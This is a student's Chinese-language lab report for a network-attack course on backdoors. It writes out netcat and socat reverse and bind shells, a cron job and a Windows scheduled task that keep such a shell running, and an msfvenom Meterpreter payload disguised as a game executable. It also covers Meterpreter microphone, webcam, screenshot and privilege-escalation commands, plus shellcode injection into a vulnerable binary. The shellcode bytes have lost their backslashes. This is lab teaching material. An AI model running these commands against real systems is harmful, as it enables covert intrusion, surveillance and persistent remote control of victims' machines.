欢迎来到网络对抗路 实验二 后门原理与实践

实验二 后门原理与实践

实验知识储备

1、什么是后门
概念:后门是指绕过安全控制而获取对程序或系统访问权的方法。
可能存在的位置:

  • 编译器留后门
  • 操作系统留后门
  • 应用程序中留后门
  • 潜伏于操作系统中或伪装为特定应用的专用后门程序。

后门满足以下几个特点:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • 恶意攻击者可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠

2、常用后门工具

NC是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

  • windows可以通过下载教学附件中的“ncat.rar”解压使用
  • mac、linux自带nc,可以通过“man nc”查看使用说明
参数 描述
-g<网关> 设置路由器跃程通信网关,最多设置8个
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数
-h 在线帮助
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口
-l 使用监听模式,监控传入的资料
-n 直接使用ip地址,而不通过域名服务器
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p<通信端口> 设置本地主机使用的通信端口
-r 指定源端口和目的端口都进行随机的选择
-s<来源位址> 设置本地主机送出数据包的IP地址
-u 使用UDP传输协议
-v 显示指令执行过程
-w 设置等待连线的时间
-z 使用0输入/输出模式,只在扫描通信端口时使用

Kali获取windows的shell

首先在Kali终端输入ifconfig查找IP地址

  • linux输入nc -l -p 5308开启监听
  • windows在cmd中输入./ncat.exe -e cmd.exe 192.168.118.136 5308反弹连接kali(这里是终端需要用./ncat,正常应该直接natcat)
  • 此时回到kali,可以看到windows的cmd命令提示

Windows获取Kali的shell

  • windows在cmd中输入ipconfig获取自身IP地址“172.16.228.223”
  • windows在ncat文件夹中输入ncat.exe -l -p 5308开始监听
  • kali输入nc 172.16.228.223 5308 -e /bin/sh反弹连接win
  • 此时回到windows,可以发现打开了kali的shell,可以正常输入命令

Meterpreter

后门是一个程序,传统的理解是:有人编写一个后门程序,大家拿来用。更加系统的做法是编写一个能生成后门程序的平台,这个平台将后门各方面做成了可调整的参数,包括:

  • 基本功能(基本的连接、执行指令)
  • 扩展功能(如搜集用户信息、安装服务等功能)
  • 编码模式
  • 运行平台
  • 运行参数
    典型的平台包括有:
  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion
    在我们本次实验中学习如何使用msfvenom生成后门可执行文件Meterpreter
    我们用到的命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.118.136 LPORT=5317 -f exe > 20181208_backdoor.exe

1、启动cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Windows系统下监听端口5317,Linux系统下,输入指令crontab -e,并选择3进入编辑模式,在最后一行添加33 * * * * /bin/netcat 192.168.118.136 5317 -e /bin/sh,表示每个小时的第33分钟执行后面的那条指令。

linux在33分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell。

2、使用nc传输数据
Windows下使用ncat.exe -l 5317监听5317端口,kali使用nc 192.168.118.136 5317反弹连接到Windows的5317端口,连接建立成功后双方可互传数据

3、使用nc传输文件
Windows下使用ncat.exe -l 5317 > mess.out监听5317端口,并把收到的数据保存到mess.out中
kali使用nc 192.168.0.102 5317 < mess.in反弹连接到Windows的5317端口,建立成功后,Windows可以收到kali发来的文件
可以在目录下找到mess.out,打开后可以看到内容与mess.in一致


将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5317端口,Windows反弹连接kali的5317端口,建立成功后,kali可以收到Windows发来的文件。

Socat

1、首先下载socat,在老师给的附件里有,下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。

在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上

新建一个触发器,选择按预定计划,其他设置自行设定
注销账户重新登陆后就可以看到任务已经在运行了

到达触发时间后任务自动运行

在kali输入指令socat - tcp:172.16.228.223:5317,连接到Windows主机的5317端口,此时可以获得Windows的shell

MSF meterpreter

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.228.223 LPORT=5317 -f exe > Counter-Strike20181208.exe
注意这里的IP地址为控制端IP,即kali的IP,后门程序为Counter-Strike20181208.exe

在Windows下执行ncat.exe -lv 5317 > Counter-Strike20181208.exe指令,查看当前的连接状态

在kali中使用nc 172.16.228.223 5317 < Counter-Strike20181208.exe传输后门程序,传输成功win10的cmd中会出现传输信息

在Kali上使用msfconsole指令进入msf控制台

  • 输入use exploit/multi/handler使用监听模块,设置payload
  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
  • set LHOST 192.168.0.115,这里用的是生成后门程序时指定的IP
  • set LPORT 5317,同样要使用相同的端口

    使用exploit开始监听,运行Windows中的后门程序
    在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1、使用record_mic -d 5指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径,打开后就可以发现这是来自未知艺术家的5秒音频QAQ
2、webcam_snap指令可以使用摄像头进行拍照,拍摄完毕桌面会出现一张JPEG图像,我将笔记本的摄像头驱动关掉了
3、获取击键记录
screenshot指令可以进行截屏


4、查看用户与提权
getuid指令可以查看当前用户,getsystem指令进行提权操作

使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

网站中搜索linux/x86 - Reverse下载了反弹连接的shellcode
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址

0xffffd38c存放的数据是80cd01b0,那么shellcode地址就是0xffffd390,修改并生成input文件
perl -e 'print "A" x 32;print"x90xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
打开msf控制台依次输入
use exploit/multi/handler,用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1,设置IP为回环地址
set LPORT 4444,根据代码设置端口
exploit ,设置完成开始监听
使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。
这时在msf控制台可以看到已经成功调取了shell

实验收获与感想

通过本次实验使我对后门有了更加深刻的认识,能从自己的设备上获取摄像头麦克风和键入信息还是蛮可怕的!

问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
从第三方网站安装软件(使用陌生人给的U盘并打开里面的文件)

(2)例举你知道的后门如何启动起来(win及linux)的方式?
捆绑到某应用程序或添加到启动项;设定某条件,达到条件激活后门打开,比如本实验中的socat

(3)Meterpreter有哪些给你映像深刻的功能?
在电脑用户不知情的情况下获取计算机的键入情况,麦克风的使用情况与截屏……用户的键入情况被窃取可能会带来信息的泄露,会造成用户隐私以及重要数据外泄。

(4)如何发现自己有系统有没有被安装后门?
最简单的方法是使用杀毒软件查杀,开启监控并及时更新病毒库。
其次查看自己计算机的端口开放情况,关闭多余的端口
查看注册表和启动项,清除可疑进程

原文地址:https://www.cnblogs.com/liang20181208/p/14532934.html